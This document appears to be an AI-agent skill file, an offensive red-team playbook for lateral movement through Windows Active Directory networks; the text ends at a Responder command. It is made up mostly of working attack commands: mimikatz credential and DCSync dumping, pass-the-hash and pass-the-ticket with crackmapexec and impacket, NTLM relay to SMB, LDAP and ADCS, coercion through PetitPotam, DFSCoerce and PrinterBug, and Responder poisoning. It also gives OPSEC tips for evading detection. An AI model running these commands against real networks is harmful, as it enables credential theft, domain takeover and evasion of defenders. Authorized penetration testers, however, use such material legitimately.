offensive-lateral-movement

# Offensive Lateral Movement

Lateral movement is the phase where you expand access across a network after
initial compromise. You pivot from one system to another using harvested
credentials, token manipulation, or protocol abuse. The goal is to reach
high-value targets -- domain controllers, database servers, file shares --
while minimizing detection footprint. Every technique here assumes you hold
at least one valid credential or session token on the current host.

This skill covers credential-based movement, NTLM relay, remote execution
protocols, session hijacking, and network tunneling. Apply these in authorized
engagements only.

## Quick Workflow

1. Enumerate accessible hosts and open ports (445, 5985, 5986, 3389, 22, 135).
2. Harvest credentials from the current host (LSASS, SAM, cached creds).
3. Test credential reuse across discovered hosts with crackmapexec/netexec.
4. Select a movement technique based on available credentials and target services.
5. Establish persistence on the new host before moving further.
6. Set up tunneling if you need to reach segmented networks.
7. Document each pivot for your engagement report.

---

## Pass-the-Hash

Pass-the-hash (PtH) lets you authenticate with an NTLM hash without knowing
the plaintext password. You extract hashes from LSASS, the SAM database, or
NTDS.dit, then inject them into authentication requests.

Extract hashes with mimikatz on the current host:

```powershell
# Elevate to debug privilege and dump logon passwords
privilege::debug
sekurlsa::logonpasswords

# Dump SAM hashes (requires SYSTEM)
lsadump::sam

# Dump domain hashes from ntds.dit (on a DC)
lsadump::dcsync /domain:corp.local /all /csv
```

Use crackmapexec (or netexec) to spray the hash across the network:

```bash
# Test a single hash against a subnet
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

# Execute a command on a target via PtH
crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all"

# netexec (modern fork) with same syntax
nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --shares
```

Use impacket for shell access:

```bash
# PtH with psexec
impacket-psexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50

# PtH with wmiexec (stealthier, no service creation)
impacket-wmiexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator@10.10.10.50

# PtH with evil-winrm
evil-winrm -i 10.10.10.50 -u administrator -H <NT_HASH>
```

OPSEC note: PsExec creates a service on the target (event 7045). Prefer
wmiexec or evil-winrm when possible. Crackmapexec with `--no-bruteforce`
prevents lockouts when testing multiple users against multiple hashes.

---

## Pass-the-Ticket and Overpass-the-Hash

Pass-the-ticket (PtT) injects a stolen Kerberos TGT or TGS into your session,
letting you authenticate as the ticket owner. Overpass-the-hash converts an
NTLM hash into a Kerberos ticket, giving you Kerberos-based access from a
hash alone.

Export tickets from memory with mimikatz:

```powershell
# List all Kerberos tickets in memory
sekurlsa::tickets /export

# Inject a stolen TGT into the current session
kerberos::ptt C:\tickets\admin_krbtgt.kirbi
```

Overpass-the-hash -- request a Kerberos TGT using an NTLM hash:

```powershell
# Overpass-the-hash: create a new logon session with the hash
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<NT_HASH> /run:powershell.exe
```

From Linux using impacket:

```bash
# Request a TGT with a hash (overpass-the-hash)
impacket-getTGT -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator

# Set the ticket in the environment
export KRB5CCNAME=administrator.ccache

# Use the ticket with psexec
impacket-psexec -k -no-pass corp.local/administrator@dc01.corp.local
```

Request a service ticket for a specific SPN:

```bash
# Get a TGS for CIFS service on a target
impacket-getST -spn cifs/fileserver.corp.local -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator
```

OPSEC note: Kerberos authentication generates event 4768 (TGT request) and
4769 (TGS request). Overpass-the-hash produces an anomalous 4768 with RC4
encryption when AES is the domain default -- this is a known detection signal.

---

## NTLM Relay Attacks

NTLM relay captures authentication attempts and forwards them to a target
service. You coerce a machine to authenticate to your listener, then relay
that authentication to another host where SMB signing is not enforced.

Check SMB signing across the network:

```bash
# Identify hosts without SMB signing required
crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt

# Alternative with nmap
nmap --script smb2-security-mode -p 445 10.10.10.0/24
```

Set up ntlmrelayx to relay captured authentication:

```bash
# Relay to targets without SMB signing, dump SAM
impacket-ntlmrelayx -tf relay_targets.txt -smb2support

# Relay and execute a command
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c "whoami > C:\\relay_proof.txt"

# Relay to LDAP for delegation abuse or shadow credentials
impacket-ntlmrelayx -t ldaps://dc01.corp.local --shadow-credentials --shadow-target ws01$

# Relay to ADCS web enrollment for certificate theft
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
```

Coerce authentication with PetitPotam (MS-EFSR abuse):

```bash
# Unauthenticated coercion (patched but often still works)
python3 PetitPotam.py <LISTENER_IP> <TARGET_DC_IP>

# Authenticated coercion
python3 PetitPotam.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>
```

Coerce with DFSCoerce (MS-DFSNM):

```bash
python3 dfscoerce.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>
```

Coerce with PrinterBug (MS-RPRN):

```bash
python3 printerbug.py corp.local/user:password@<TARGET_DC_IP> <LISTENER_IP>
```

Set up Responder for poisoning and capture:

```bash
# Poison LLMNR/NBT-NS and capture hashes
responder -I eth0 -w